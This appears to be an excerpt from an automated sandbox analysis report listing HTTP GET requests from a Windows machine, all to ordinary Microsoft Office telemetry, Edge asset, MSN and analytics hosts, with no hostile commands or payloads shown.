Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1730816861&P2=404&P3=2&P4=ktXBrF5D8xGbqtcbx27kq7HvVfiolTOfwpEgAycLc1hpR%2bN17zhXX7X6csLRg15aWco8A5UKR764gfrRR1ZcHA%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: 40u3AYVdJS/GQwDIxbfDaaSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=332D7C0E6DDC69643E2069296C7D689D&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=8605433284559240857&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=fdf1a131eb704066bb876cd4f6e6a4ad HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=332D7C0E6DDC69643E2069296C7D689D; _EDGE_S=F=1&SID=074E5FA9F38D62F117174A8EF2076390; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msFQv.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB14D0jG.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=332D7C0E6DDC69643E2069296C7D689D&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=8605433284559240857&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=a7f682c30bb241fd8850b9bd3b2b9d39 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=332D7C0E6DDC69643E2069296C7D689D; _EDGE_S=F=1&SID=074E5FA9F38D62F117174A8EF2076390; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msB1O.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msFQA.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1730212066102&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=332D7C0E6DDC69643E2069296C7D689D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730212066102&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=37ecba0705714c7ca36a2ae26a51b615&activityId=37ecba0705714c7ca36a2ae26a51b615&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=332D7C0E6DDC69643E2069296C7D689D; _EDGE_S=F=1&SID=074E5FA9F38D62F117174A8EF2076390; _EDGE_V=1; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1730212066102&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=332D7C0E6DDC69643E2069296C7D689D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=12Fa2005b085fcfe2e93db11730212069; XID=12Fa2005b085fcfe2e93db11730212069
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
